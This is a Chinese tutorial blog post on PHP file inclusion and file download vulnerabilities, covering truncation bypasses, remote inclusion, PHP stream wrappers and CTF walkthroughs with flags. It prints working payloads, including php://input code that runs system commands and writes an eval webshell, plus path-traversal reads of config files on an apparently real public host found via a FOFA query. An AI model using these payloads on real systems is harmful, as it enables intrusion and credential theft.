首页 > 其他分享 >文件包含与下载

文件包含与下载

时间:2024-02-21 23:33:08浏览次数:28  
标签:文件 php http 包含 filename localhost include 下载

一、漏洞检测与危害

概念
文件包含前面已经演示过,在真实的开发项目中,文件包含可以节省重复代码
文件包含:将指定的文件当代码执行
文件包含执行恶意代码(图片木马),也可能导致敏感信息的泄露(配置文件)
检测
检测是否有该漏洞
白盒:通过代码审计的方式
黑盒:扫描工具、公开的漏洞,手动看参数以及功能点。

二、文件本地与远程包含
文件包含有本地包含与远程包含的区别,本地包含只能包含服务器已经有的问题,如果服务
器没有需要包含的文件需要配合其他漏洞使用(文件上传漏洞)
远程包含可以包含一切网络上的文件,所以危害性要比本地包含大

1、本地包含

  • 无限制 就是没有限制

案例1

<?php
$filename=$_GET['filename'];
include ( $filename);
?>
<?php
	phpinfo();
?>

这就是个简单的包含案例,把 1.txt里面的文件变成了可以执行的代码

  • 有限制
    就是包含的文件是有一定限制的,为了正确包含进去,需要适当绕过

案例2

<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
<?php
phpinfo();
?>

  • 00 截断
    00 截断在前面的案例讲过(00阶段分为两种:BP爆破或转轮、URL地址截断)
  • 长度截断

原理:windows 长度命名长度限制 256 个字符(由于磁盘分区需要占用一个字符,所以用户只
能使用 255 个字符命名文件夹。)linux 长度限制 4096.

http://localhost/include/upload2.php?filename=1.txt....................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
.......................................................................................................................
...........................................................................................

2、远程包含

远程包含危害比本地包含危害更大,所以需要额外的权限才能打开

allow_url_include 配置专门针对 PHP 的 include、include_once、 require 及require_once 语句。当allow_url_include 被设置为 On 时,PHP 允许通过 URL 的形式,从远程服务器 包含和执行 PHP 文件。

无限制

案例1

在远程虚拟机服务器使用win2012搭建环境,上传一句马

<?php
phpinfo();
?>

在本地访问 http://192.168.254.132/1.txt

http://localhost/include/upload.php?filename=http://192.168.254.132/1.txt

有限制

案例2

访问:http://localhost/include/upload2.php?filename=http://192.168.254.132/1.txt

绕过方式

三、常见脚本语言伪协议

PHP 伪协议(PHP Protocol Override)是一种在 PHP 处理数据时,通过替换数据报的头部信息来欺骗网络协议的方式来提高性能的技术。

PHP 支持的伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流


http://、https:// 解读
URL 形式,允许通过 HTTP 1.0 的 GET 方法,以只读访问文件或资源,通常用于远程包含。

参数详解

resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
write=<写链的筛选列表> 可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
<; 两个链的过滤器> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

可用的过滤器列表(4 类)

字符串过滤器 作用
string.rot13 等同于 str_rot13(),rot13 变换
string.toupper 等同于 strtoupper(),转大写字母
string.tolower 等同于 strtolower(),转小写字母
string.strip_tags 等同于 strip_tags(),去除 html、PHP 语言标签
转换过滤器 作用
convert.base64-encode & convert.base64- decode 等同于 base64_encode()和 base64_decode(), base64 编码解码
convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码
压缩过滤器 作用
zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方 法,但不产生命令行工具如 gzip 的头和尾信 息。只是压缩和解压数据流中的有效载荷部分。
bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2兼容文件的方法。
加密过滤器 作用
mcrypt.* libmcrypt 对称加密算法
mdecrypt.* libmcrypt 对称解密算法
  • 案例

读取 upload.php 文件以 base64 编码输出。http://localhost/include/upload.php?filename=php://filter/read=convert.base64-encode/resource=upload.php

BASE64编码:PD9waHAKJGZpbGVuYW1lPSRfR0VUWydmaWxlbmFtZSddOwppbmNsdWRlICggJGZpbGVuYW1lKTsKPz4=

BASE64解码:
<?php
$filename=$_GET['filename'];
include ( $filename);
?>

input 解读

php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作 php 代码执行。

php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA 部分]
<?php phpinfo(); ?>
  • 案例

查看服务器版本

php://input + [POST DATA]
http://localhost/include/upload.php?filename=php://input
[POST DATA 部分]
<?php system('ver')?>


执行 ipconfig

php://input + [POST DATA]
http://localhost/include/upload.php?filename=php://input
[POST DATA 部分]
<?php system('ipconfig')?>


一句马

php://input + [POST DATA]
http://localhost/include/upload.php?filename=php://input
[POST DATA 部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>


file 解读
用于访问本地文件系统,file://需要的是完整的路径。

  • 案例
    访问 hosts 文件
http://localhost/include/upload.php?
filename=file:///C:\Windows\System32\drivers\etc\hosts


data 解读
以传递相应格式的数据,通常可以用来执行PHP代码。

  • 案例
http://localhost/include/upload.php?filename=data://text/plain,<?phpinfo();?>

http://localhost/include/upload.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

  • 案例 南邮 ctf

https://chinalover.sinaapp.com/web7/

访问:

https://chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

BASE64编码:
PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC
5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0
cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2
ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=
<html>
    <title>asdf</title>   
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}
?>
</html>

四、文件包含漏洞修复与防御

使用 WAF、固定文件、固定后缀。

五、文件下载/读取漏洞

与文件包含类似,通过下载的方式获取文件。

  • 案例 1: pikachu 文件下载

    fofa.info
    "pikachu" && country="CN" && title="Get the pikachu"
    
    http://47.93.255.105:81/vul/unsafedownload/down_nba.php
    

下载地址:http://47.93.255.105:81/vul/unsafedownload/execdownload.php?filename=kb.png

​ 图片地址:http://47.93.255.105:81/vul/unsafedownload/download/kb.png

​ 扫描地址:http://47.93.255.105:81/inc/config.inc.php

下载文件 http://47.93.255.105:81/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php

  • 案例 2 [RoarCTF 202019]Easy Java
URL:https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Java


启动靶机,用户名、密码未知,只可以点击help,help仅有有用线索提供help文件下载URL,一般情况下该地址为POST格式,因此对该URL进行拆分。

请求首行:http://190ff69e-fe9a-404d-9cdb-31c73209adf7.node5.buuoj.cn:81/Download

请求体:filename=help.docx


出现下载文件提示,下载后打开help.word文件

该题目为java题目,参考Java语言体系涉及

请求首行:http://e7bf55f1-e57e-4280-aa5a-bdad755b32d6.node4.buuoj.cn:81/Download

请求体:filename=WEB-INF/web.xml

依然提示文件下载

下载文件名为 WEB-INF_web.xml,该文件为java的配置文件,因此需要在该配置文件寻找FLAG相关信息。

根据Java规范需要下载Class文件获取FLAG信息

http://e7bf55f1-e57e-4280-aa5a-bdad755b32d6.node4.buuoj.cn:81/Download?

filename=WEB-INF/classes/com/wm/ctf/FlagController.class


提示下载class文件:WEB-INF_classes_com_wm_ctf_FlagController.class

获取FLAG信息

ZmxhZ3s0NDBlYzFmMi0yYWVmLTQwNzAtOTRjOS0wYjNhMzk0MGE3NjB9Cg==

BASE64解码获取FLAG信息

flag{440ec1f2-2aef-4070-94c9-0b3a3940a760}

标签:文件,php,http,包含,filename,localhost,include,下载
From: https://www.cnblogs.com/zhangwei0885/p/18026422

相关文章

  • 【APP逆向15】通过adb获取手机上已安装应用的apk文件
    逆向过程中,当手机上安装对应的apk后,我们需要反编译该apk。但是pc端下载的apk版本又与手机上不一致。这个时候就需要将手机上的apk文件导出到pc进行反编译分析了。1.通过frida获取包名2.根据包名找到apk文件的存放路径,通过命令adbshellpmpath应用包名来获取其apk文件......
  • 根据星历文件实现卫星的动态运行模拟matlab仿真
    1.算法运行效果图预览 2.算法运行软件版本MATLAB2022a  3.算法理论概述      卫星的动态跟踪捕获是航天工程和卫星通信领域中的关键技术之一。它涉及到对卫星轨道的精确预测、接收设备的指向控制以及信号处理等多个方面。       随着航天技术的不断......
  • Oracle误删除数据文件恢复---惜分飞
    联系:手机/微信(+8617813235971)QQ(107644445)标题:Oracle误删除数据文件恢复作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]有客户通过sftp误删除oracle数据文件,咨询我们是否可以恢复,通过远程上去检查,发现运气不错,数据库还没有c......
  • 从源文件到可执行文件
        对于本章,首先我们需要了解源代码和源文件,用某种编程语言编写的程序,就是源代码保存源代码的文件就是源文件,而且用C语言编写的源文件的扩展名通常是".c"。但若想要程序运行还需要将源代码转换成本地代码,因为计算机的"大脑"CPU能直接解析的是本地代码。既然我们知道了,要转......
  • vscode+.md文件生成pdf简历
     前提:vscode下载安装插件:MarkdownPreviewEnhanced,用来预览md文件的效果 操作:1.编辑md文件,文件的格式基本同html标签的使用一样。2.点击如图位置,预览md文件的效果:3.在md预览界面鼠标右键-点击选择在浏览器打开4.在浏览器页面->鼠标右键->打印,生成pdf即可。 ......
  • 《程序是怎样跑起来的》——第8章 从源文件到可执行文件
    一、代码1、源代码完成后,就可以编译生成可执行文件了。负责实现该功能的是编译器2、代码运行:计算机只能运行本地代码。3、源代码和源文件:用某种编程语言编写的程序就称为源代码,保存源代码的文件称为源文件。(这里的“源代码”用英文表示是“sourcecode”。source有“原始的”......
  • visual studio 2022 的git提交大文件的方法
     我用visualstudio2022的git提交代码后推送,出现一个大文件无法推送怎么办? 可以直接用命令推送 项目文件夹右键,选择gitbashhere。   ......
  • 利用gcc预处理文件和doxygen分析宏定义多的复杂c工程
    某个c语言工程,无法直接gdb调试,代码中宏定义、宏函数满天飞、临时生成config.h、头文件在其他工程中。阅读难度很大,doxygen分析也很困难。我发明了一个新方法:1.gcc编译时,-save-temps,生成.i预处理文件。2.clang-format、sed等工具处理下.i文件,调整格式方便doxygen分析。doxyg......
  • 操作系统实训_基于多级目录的文件管理系统
    title:操作系统实训_基于多级目录的文件管理系统author:fxydate:2022-07-0719:18:00tags:实训category:实训readmore:truedescription:SDUT操作系统实训,基于多级目录的文件管理系统,c++1、实训报告:github实训报告2、代码://基于多级文件目录的文件管理系统#includ......
  • Windows环境使用ffmpeg转换文件格式
    先安装ffmpeg,官网下载地址https://ffmpeg.org/download.html直接保存即可 将命令保存为.bat 格式,放到ffmpeg.exe所在文件夹, 将所需转换的文件也放到该文件夹,双击bat文件运行即可1.flv 转mp4@echoofffor%%iin("*.flv")doffmpeg-i"%%i"-ccopy"%%i".mp4 ......